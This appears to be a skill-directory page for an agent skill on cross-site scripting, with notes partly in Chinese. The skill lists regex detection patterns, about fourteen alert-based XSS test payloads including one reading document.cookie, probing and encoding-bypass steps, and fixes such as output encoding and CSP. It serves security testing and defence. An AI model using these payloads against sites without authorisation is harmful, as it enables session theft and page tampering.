anonymous99-rise/multi-cybersecurity/xss

Claude Code and agent skill by anonymous99-rise/multi-cybersecurity

Trust tier 3
  • community
Source check pending

Checking that the SKILL.md file is still in the repository.

Install

npx vskill@latest install anonymous99-rise/multi-cybersecurity/xss

SKILL.md

XSS (Cross-Site Scripting) Pattern

基本信息

属性值
类型Injection
CWECWE-79
严重性High
变体Reflected, Stored, DOM-based

检测模式

regex
<script[^>]*>.*?</script>
javascript:
on\w+\s*=
<iframe|<object|<embed

常用 Payload

html
<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert('XSS')">
<body onload=alert(1)>
<input onfocus=alert(1) autofocus>
<marquee onstart=alert(1)>
<select onfocus=alert(1) autofocus>
<textarea onfocus=alert(1) autofocus>
<keygen onfocus=alert(1) autofocus>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>
<details open ontoggle=alert(1)>
<animatetransform onbegin=alert(1)>

检测步骤

  1. 识别输入点: URL参数、表单、Header
  2. 基本检测: <script>alert(1)</script>
  3. 属性检测: " onmouseover="alert(1)
  4. 编码绕过: HTML实体、URL编码
  5. DOM检测: location.hash

修复建议

  • 输出编码 (HTML转义)
  • Content Security Policy (CSP)
  • HTTPOnly Cookie
  • 输入验证

参考

  • https://owasp.org/www-community/attacks/xss/
  • https://portswigger.net/web-security/cross-site-scripting

Security

  • Security scanPassed, 90 of 100Pattern checks on the skill's files.
  • Model reviewPassed

See the full security report

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

See evaluation results

Source

Popularity

7-day trend score
0

Not refreshed yet.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Cursor
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/anonymous99-rise/multi-cybersecurity/xss/badge)](https://verified-skill.com/skills/anonymous99-rise/multi-cybersecurity/xss)

Something wrong with this skill or its page? Tell us.